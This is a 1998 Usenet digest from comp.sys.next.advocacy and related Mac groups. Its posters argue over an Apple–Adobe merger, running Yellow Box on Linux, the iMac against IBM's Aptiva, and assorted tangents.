From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Thu, 27 Aug 1998 11:16:08 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu>
In article <6s2f73$dv7$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
>Probably. Though I think it would be fascinating if Apple could team
>up with Quark to get at least one thing from Adobe namely DPS. It could save
>them a big headache redoing the display engine from the ground up..
PDF and PS are some of the best reasons for buying Adobe - Quark would
never give them up. They are bottleneck technologies for the publishing
world.
>I think its all smoke and no fire. Frankly There are two companies
>that won't get my money as long as possible MS and Adobe. Both have
>somewhat mediocre software products. And I suspect both will be punished
by the markets in a timely fashion.
Adobe is being punished. They've lost 50% of their value ($2B) in the last
few months. There has been mentions that HP or IBM might be interested. I
don't see Warnock going for that. Adobe would be a memory in 12 months if
either of those two bought them.
No, Warnocks only _real_ savior is Steve. Adobe is _far_ more valuable to
Apple than to IBM or HP. IBM and HP would get the revenues from Adobe
products, but Apple would get hardware and OS sales as well. Think of what
an iMac software bundle might look like after an Apple-Adobe merger...
Warnock knows that Adobe products would be well treated at Apple. Some
would go, but most would stay and get a _lot_ of attention. I can't see
Apple weakening the Windows version either, but I _can_ see Apple taking
the unix versions and making a very strong case for Apple hardware and Mac
OS X to the Sun/SGI world.
Adobe would give Apple tremendous added-value for the publishing and
content-creation market. Apple would own it top to bottom - publishing,
web design (an Adobe merger and GoLive acquisition would lock this),
video, illustration. A niche that MS would likely never be able to crack,
even with a Macromedia and Quark buyout - they'd still need to go to Apple
for PS, PDF, and QT.
-Bob Cassidy
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Newsreaders (was: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Thu, 27 Aug 1998 14:55:41 -0400
Organization: phenix@interpath.com
Message-ID: <1defdcu.1gimxc4sw1wrgN@roxboro0-025.dyn.interpath.net>
References: <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <atlauren-2108981908570001@jungleland.acs.uci.edu> <35E02675.2083D9CC@spamtoNull.com> <gmgraves-2308981628590001@sf-usr1-42-170.dialup.slip.net> <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com> <Ey9r7o.41s@T-FCN.Net> <6s00n0$e40$1@lwnws01.ne.highway1.com> <EyAxu1.DoH@T-FCN.Net> <6s2gv4$mg2$1@lwnws01.ne.highway1.com> <phenix-270898101302000141152@news.interpath.net> <EyCuB2.33z@T-FCN.Net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Maury Markowitz <maury@remove_this.istar.ca>
wrote:
> In <phenix-270898101302000141152@news.interpath.net> John Moreno wrote:
> > (all of this reminds me - I've been helping someone set up a page for
> > newsreaders and have only been able to find home pages for three
> > next/openstep newsreaders - Alexandria, NewsFlash and RadicalNews.
> > Anybody know of home pages describing NewsGrazer or any other next
> > newsreader? If so it'd be nice if you could go to
> > <http://www.newsreaders.com/mac/clients.html> and add it).
>
> Add Eloquent as well. It's not _really_ just a newsreader, but it does
> that (too).
>
> http://www.take3.com/
You wouldn't happen to have a direct address would you? I don't use
java which seems to be required to navigate around at that address (I
got to the home page by reading the source, but that was as far as it
took me).
--
John Moreno
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 27 Aug 1998 14:04:07 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E5ADA7.E0EE0B35@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net>
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George Graves wrote:
> What makes you think that your "first hand" anecdotal evidence is
> in any way incontrovertible?
Several things: I wasn't on drugs, I wasn't drinking, and my bias was
desperately devoted to Apple and the Macintosh, at the time.
But tell me, did you have in mind some way of disproving what I have
seen with my own eyes? That would be a neat trick.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Thu, 27 Aug 1998 14:01:24 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E5AD04.D6CAF635@ericsson.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <EyCzM2.6p8@T-FCN.Net>
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Maury Markowitz wrote:
> No it doesn't. How can you possibly say that? The last release of the OS
> already ran on three different platforms, how would moving to Linux suddenly
> make the OS capable of running the PC and the Mac when it ALREADY runs on the
> PC and the Mac?
I don't get your argument. Linux is more portable than OPENSTEP was;
presumably moving to Linux would be a gain in portability. Moreover,
portability is far from the only good reason to move Yellow Box atop
Linux. Rather than selling Yellow Box with an operating system as an
all-in-one package (which will do very poorly), Apple would stand to
gain greatly by selling Yellow Box as a layer above existing Linux
installations (as *well* as with an operating system as an all-in-one
package).
> Considering NetBSD appears to be BY FAR the most portable of the OS's,
"By far"? How many systems will NetBSD run that Linux won't? Two, three,
maybe? I think that would include 68K Macintosh (MacLinux is getting
there) and 68K Atari ST. I don't know of any others.
> and
> much of what's going into OS-X is from the NetBSD effort, I'd say their
> current strategy offers just as much growth potential and hardware support
> and Linux can.
No, I doubt that. Linux has a wider variety of hardware drivers and
supports a larger set of features from that hardware, especially on i386
derivatives. Linux also has a large and growing number of enthusiasts
and developers who would seize upon any momentum Apple might lend.
NetBSD, for all of its merits, cannot make this claim.
> In addition they get to use BSD tools, are freed from any
> weird offshoots due to the GPL'ed parts of the current Linux releases, and
> don't have to change as many of their interfaces (being BSD based now).
I won't say it's trivial, but moving to Linux is almost nothing in the
grand scheme of things. All they'd have to do is specify the following
for compatibility: a version of libc, a version of the kernel, a version
of the compiler (or provide their own), and an HCL. In the short term,
they could make huge strides in the Linux community during their
preparation of a Linux release by making their advances available to the
MkLinux team. In the long term, they could sign partnerships with Linux
distributors to make Yellow Box an official part of Linux distributions.
> This is basically dumb from a technical perspective, but I've seen a
> growing number of dumb posts from you lately
Color me impressed.
> - I rarely agreed with you in
> the past, but your comments were rarely stupid. Now it's not so rare.
I reviewed some old postings from DejaNews recently, and I can see how
far I've come from the days when we were both MacOS Freedom Fighters.
Frankly, it would frighten me if you thought very much of my posts,
since I've come to see how little we have in common.
Hearty regards,
MJP
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 27 Aug 1998 13:12:04 -0600
Organization: Idaho State University
Message-ID: <6s4b24$4ht$1@inconnu.isu.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net>
In article <6s2nle$ek62@odie.mcleod.net>,
Michelle L. Buck <buck.erik@mcleod.net> wrote:
->Apple is not making more than a few hundred dollars on each PPC shipped.
->20%-25% gross margins are common. Apple does not need to drop hardware.
->They should sell Rhapsody Intel at whatever price generates the same return
->on investment that selling hardware generates. It should not matter to them
->if they sell a copy of Rhapsody PC or another PPC unit. They make the same
->amount of money either way. Furthermore, selling a few million Rhapsody
->Intel seats might actually make PPC hardware MORE attractive.
It makes a HUGE difference: supporting the x86 architechture and all
the (almost) infinite combinations of devices is very expensive.
--
"Internet Explorer 4.0 Brings the Web to UNIX" http://www.windows.com/ie/unix
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 27 Aug 1998 14:23:31 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E5B233.FC15155E@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <35E46BAA.2C74EA52@ericsson.com> <6s2jb0$oqh@news1.panix.com>
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Sal Denaro wrote:
>
> On Wed, 26 Aug 1998 15:10:18 -0500,
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> >Oh, don't worry, it's not a strain. After all, most of the people on my
> >planet agree with my experience, not with yours. How is it where you
> >live?
>
> Most people agree with your experience?
Yes, they do.
> What planet do *you* live on?
Earth. If I had to guess, so do you.
> I guess when you can not prove your point, you turn to arrogant self
> important drivel. This hardly the first time you've done it.
Look, I'm sorry about whatever is wrong with your life to make you such
a bitter and vindictive man. I'd really like to help. Send me email.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac's Competition
Date: Thu, 27 Aug 1998 15:00:09 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E5BAC9.AF2F4A89@ericsson.com>
Mime-Version: 1.0
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Whoops, here's the link:
http://www.news.com/News/Item/0,4,25757,00.html?st.ne.fd.gif.d
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 27 Aug 1998 19:34:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6s4ccl$g6p@newsb.netnews.att.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-180 <ayufbaykuh-2008980141450001@192.168.0.2>
Originator: gupta@tlctest
<ayufbaykuh@bayust.cowm> wrote:
>
>"...a scientist must...be absolutely like a child. If he sees a thing, he
>must say that he sees it, whether it was what he thought he was going to
>see or not. See first, think later, then test. But always see first.
>Otherwise you will only see what you were expecting. Most scientists
>forget that."
>
>Douglas Adams, "So long, and thanks for all the fish"
But most "seeing" something today is applying a huge mass
of interpretation, because the scientist is observing the world
through a bunch of instruments, and not directly. Thinking later
can lead to fiascos like cold fusion.
-arun gupta
From: jpamer@best.com (Joseph Palmer)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Thu, 27 Aug 1998 20:17:52 GMT
Organization: What? Me worry?
Message-ID: <6s4ets$ge9$1@nntp2.ba.best.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35E431B1.C9E36442@brainlink.com>
In article <35E431B1.C9E36442@brainlink.com>, Ray Arachelian <sunder@brainlink.com> wrote:
<Snip>
>BTW: 3Com was Building 3 Communicaions as Xerox and was later spun off as its
>own company. Most of the technology of the Mac comes from Xerox Parc. Hell,
>where do you think the Laser printer came from! :)
>
No, 3Com was not a "Spin Off", It started as a seperate startup in Bob
Metcalf's apartment, then moved to 3000 Sand Hill road. (I worked
there when there were 8 other employees, well before their first
round of financing)
In the early days 3Com employees did consulting work for other firms,
Its first revinue product was the 3C100 Ethernet (DIX Bluebook)
transceiver. I should know, I assembled the very first one. (I even
have a picture of the box being shipped.
BTW, 3Com stands for "Computer Communications Compatability"
J.
Date: Thu, 27 Aug 1998 16:32:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-2708981632010001@0.0.0.0>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <6ra0dh$tjt$1@ec.arbat.com> <ayufbaykuh-2008980141450001@192.168.0.2> <6s4ccl$g6p@newsb.netnews.att.com>
In article <6s4ccl$g6p@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> <ayufbaykuh@bayust.cowm> wrote:
> >
> >"...a scientist must...be absolutely like a child. If he sees a thing, he
> >must say that he sees it, whether it was what he thought he was going to
> >see or not. See first, think later, then test. But always see first.
> >Otherwise you will only see what you were expecting. Most scientists
> >forget that."
> >
> >Douglas Adams, "So long, and thanks for all the fish"
>
> But most "seeing" something today is applying a huge mass
> of interpretation, because the scientist is observing the world
> through a bunch of instruments, and not directly. Thinking later
> can lead to fiascos like cold fusion.
Sure. You have to be careful what you're measuring.
But I'm not so convinced that cold fusion is a total fiasco. There are
still a lot of experiments that indicate that _some_ unknown phenomenon is
occurring.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac's Competition
Date: 27 Aug 1998 21:01:21 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6s4hf1$j5o$1@wbnws01.ne.highway1.com>
References: <35E5BAC9.AF2F4A89@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Whoops, here's the link:
>
> http://www.news.com/News/Item/0,4,25757,00.html?st.ne.fd.gif.d
That machine looks way cool. Regardless, I don't think the pictured machine
is the 1300 one. And it looks like it does *not* come with a monitor. So
it's not at total solution for 1300bux. If they sold the picture machine
with LCD 15" screen for 1300 they would kill everyone. Very sleek looking
machine.
And at that price level a decent deal for power type stuff, though it has no
SCSI which always pisses me off because those 18gb EIDE drives are about as
useful as paper weights for me (I really do use EIDE drives as paper weights
:).
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Message-ID: <35E5917B.4F95998@hotmail.com>
Date: Thu, 27 Aug 1998 17:03:57 +0000
From: Charles <charleschuck@hotmail.com>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com>
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Con-Tiki wrote:
> I've seen a G3 350.
Where!?! I want one, but I don't think they yet exist. Or maybe they
_just_ came out. At any rate, I suppose you have not.
> I tell you, my PII266 kicks the G3 I saw.
My G3 kicks any PII I see. And I only have a 266.
> The G3 is faster, but Mac O/s 8 uses to much Ram.
I agree.
> Windows - 4mb
Puh-leeze. If I see Windows, it usually uses nearer to at least 10.
> Linux - 4mb
Yes, Linux is nice. Very nice. And you can put it on a Mac if you like
(MKLinux)
> Mac O/s 8 - 11mb
That must have been with every extension turned on. That's what wastes
memory.
> That is the reason why.
Is it? Or was the reason of this post just simply to be rude. Why not
go to a religion page and post "I've seen God before and my God is
better than yours, my God uses less space, etc." You get the idea. :-)
Regards,
Charles
charleschuck@hotmail.com
<snipped quotation and advertising/signature at the end.>
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac's Competition
Date: 27 Aug 1998 21:40:11 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6s4jnr$gtm@newsb.netnews.att.com>
References: <35E5B9B8.D3ABD955@ericsson.com>
Originator: gupta@tlctest
The picture in
http://www.news.com/News/Item/0,4,25757,00.html?st.ne.fd.gif.d
is for IBM's $3500 Aptiva Cobra /SE7, with a 450 MHz Pentium II,
128 MB of memory, 16.8 GB hard drive, and 15 inch flat panel LCD.
The $1300 model is the Aptiva E4N, with an AMD 350 MHz K6-2 chip,
64 MB of memory, 8.0 GB hard drive.
The IBM annoucement, at http://www.pc.ibm.com/us/news/aptiva/se7e4n.html
does not mention a sleek, black design for the Aptiva E4N.
In fact, http://www.pc.ibm.com/us/aptiva/index.html and
http://www.pc.ibm.com/us/aptiva/eseries/index.html show a beige box
for the Aptiva E4N. In fact, take a look at :
http://www.pc.ibm.com/us/products/aptiva/eseriestour/index.html
BTW, the Aptiva monitor gives 85 Hz refresh at 800x600, and does
1024 x 768 at 60 Hz (monitor size not given anywhere that I could find,
even, e.g,
http://www5.pc.ibm.com/us/products.nsf/$wwwpartnumlookup/_2153e3n#monitor,
E-series monitors described at :
http://www.pc.ibm.com/us/aptiva/eseries/monitors.html.
The iMac does 800x600 at 95 Hz and 1024 x 768 at 75 Hz (13.8 inch diagonal)
***
Apple has to respond to the Cobra at the high-end. But the Aptiva 4EN
doesn't threaten the iMac.
-arun gupta
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 27 Aug 1998 17:31:34 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E5DE46.66B6062A@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net>
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George Graves wrote:
> Do you know what the term incontrovertible means? How about non-
> contestable, or beyond possible reproach. Your evidence is neither
> from simply the standpoint that people here are challenging the
> quality of both your data and your conclusions. Not even a nice try.
Merriam-Webster's
Main Entry: in·con·tro·vert·ible
Pronunciation: (")in-"kän-tr&-'v&r-t&-b&l
Function: adjective
Date: 1646
: not open to question : INDISPUTABLE <incontrovertible evidence>
- in·con·tro·vert·ibly /-blE/ adverb
My personal first-hand experience is not open to question.
> I don't. BUT, I would like to point out that just because people report
> that they have seen, with their own eyes, flying saucers or angels does
> not in any way prove either to be real.
I didn't say anything about proof. Here, my mouth is open. Go ahead!
Just put your words right in.
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: 27 Aug 1998 22:49:09 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6s4np5$o80$2@wbnws01.ne.highway1.com>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s4l1a$f7u$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
> [Reasons wht Apple should buy Adobe snipped]
>
> I dunno. I'd be nervous about an Apple/Adobe combo for the same
> reasons that I think a MicroSoft that makes both the OS and apps
> for it is a bad idea.
Well, it would be good as a short term thing I believe. If Apple
bought Adobe and Quark and went full force with the software/OS/hardware
combo they might actually be able to influence ms.
Pagemaker/Quark/Photoshop/Illustrator/Frame/Freehand are *critical*
apps in the software world today, and the threat of doing what ms
did to apple in the past back at ms would influence things.
Maybe the damage these two would inflict on one another in the
process (more likely it would settle into an oligopoly like coke
& pepsi) might make opportunities for others to get into the market
place. I think it would be a nice balance at that point. Of course
since it makes so much business sense for apple to do this, it's
almost a certainty it won't happen.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac's Competition
Date: Thu, 27 Aug 1998 17:47:11 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E5E1EF.899B5757@ericsson.com>
References: <35E5B9B8.D3ABD955@ericsson.com> <6s4jnr$gtm@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> The picture in
>
> http://www.news.com/News/Item/0,4,25757,00.html?st.ne.fd.gif.d
>
> is for IBM's $3500 Aptiva Cobra /SE7, with a 450 MHz Pentium II,
> 128 MB of memory, 16.8 GB hard drive, and 15 inch flat panel LCD.
That is correct. Did you notice that I mentioned exactly none of the
above in my description of the machine? What, exactly, are you trying to
say?
> The $1300 model is the Aptiva E4N, with an AMD 350 MHz K6-2 chip,
> 64 MB of memory, 8.0 GB hard drive.
Sounds like exactly what I said...were you confused?
> The IBM annoucement, at http://www.pc.ibm.com/us/news/aptiva/se7e4n.html
> does not mention a sleek, black design for the Aptiva E4N.
This is my mistake. The E-series comes in beige. The E4N does *not*, in
fact, come in black.
[cut]
> BTW, the Aptiva monitor gives 85 Hz refresh at 800x600, and does
> 1024 x 768 at 60 Hz (monitor size not given anywhere that I could find,
> even, e.g,
Those are the specifications for the E3N's monitor. They are *not* the
specs for the E4N. As far as I can tell, those specs are unavailable.
You should retract.
[cut]
> The iMac does 800x600 at 95 Hz and 1024 x 768 at 75 Hz (13.8 inch diagonal)
>
> ***
> Apple has to respond to the Cobra at the high-end. But the Aptiva 4EN
> doesn't threaten the iMac.
Whatever. On the basis of the iMac's monitor against unknown specs? Even
though the E4N has twice the hard disk space and twice the memory? Even
though its processor is far faster? Even though it comes with superior
audio, superior speakers, and a far better 3D subsystem? Even though the
E4N is expandable?
Wow, that's basically a solution to every complaint levelled against the
iMac so far. IBM has been listening, it would appear. Too bad Apple
doesn't do the same.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 26 Aug 1998 15:27:24 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E46FAC.404CD486@ericsson.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Shelton Garner wrote:
> Like I've said before--what if Apple went with Linux instead. Then it
> could produce software that would run on both Mac and PC hardware
> systems as well as grow as Linux grew.
That makes perfect sense, from a technical perspective. I have no idea
what it means to Apple's pointy-haired people. I've long advocated a
more agnostic Apple that was willing to ship its key assets (UI polish,
brand name, Yellow Box) on whatever OS, hardware, and in whatever
markets seemed to dictate prudence. That's not going to happen because,
incredibly, most of Apple customers actually prefer the closed-minded
strategy.
MJP
From: "Staffing" <NOSPAM_info@objectsoft.com>
Newsgroups: comp.soft-sys.nextstep,comp.sys.next.advocacy,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Wanted: NextStep OpenStep developers in Chicago
Date: Thu, 27 Aug 1998 18:14:54 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6s4pe4$70a$1@supernews.com>
We have an immediate opening for two developers to port software from
NextStep to OpenStep in Chicago. Excellent opportunity. Consultants are
welcome to apply. Email your resume to: next@objectsoft.com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: RDF Watch
Date: 26 Aug 1998 20:06:41 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6s1psh$9so@newsb.netnews.att.com>
Originator: gupta@tlctest
Supposedly, anyone who likes Steve Jobs' performance has been
affected by a Reality Distortion Field. Here is one :
http://www.computerworld.com/home/print.nsf/all/980824634E
"Apple turnaround is a Jobs well done", by Bill Laberis.
-arun gupta
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Thu, 27 Aug 1998 16:45:50 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <slrn6ubrte.qv6.jedi@dementia.mishnet>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu>
On 27 Aug 1998 13:12:04 -0600, Craig Kelley <ink@inconnu.isu.edu> wrote:
>In article <6s2nle$ek62@odie.mcleod.net>,
>Michelle L. Buck <buck.erik@mcleod.net> wrote:
>
>->Apple is not making more than a few hundred dollars on each PPC shipped.
>->20%-25% gross margins are common. Apple does not need to drop hardware.
>->They should sell Rhapsody Intel at whatever price generates the same return
>->on investment that selling hardware generates. It should not matter to them
>->if they sell a copy of Rhapsody PC or another PPC unit. They make the same
>->amount of money either way. Furthermore, selling a few million Rhapsody
>->Intel seats might actually make PPC hardware MORE attractive.
>
>It makes a HUGE difference: supporting the x86 architechture and all
>the (almost) infinite combinations of devices is very expensive.
They can leave that to the kernel hackers. Although,
USB driver support from Apple could probably win some
brownie points and get more people besides the new iMac
users using USB devices (economies of scale you know).
--
Hardly. Microsoft has brought the microcomputer OS to
the point where it is more bloated than even OSes from |||
what was previously larger classes of machines altogether. / | \
This is perhaps Bill's single greatest accomplishment.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 28 Aug 1998 00:01:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6s4s06$ntk$1@nnrp1.dejanews.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <joe.ragosta-2708980812500001@wil49.dol.net> <gmgraves-2708981104260001@sf-usr1-38-166.dialup.slip.net>
In article <gmgraves-2708981104260001@sf-usr1-38-166.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Thank you, Joe. Now if this Brian Quinlan clown only had the insight that you
> show, we could shut him up.
George, there is a difference between belief and proof. Joe stated his beliefs
and I do not dispute them. You said that they had been proven. Please
demonstate this.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
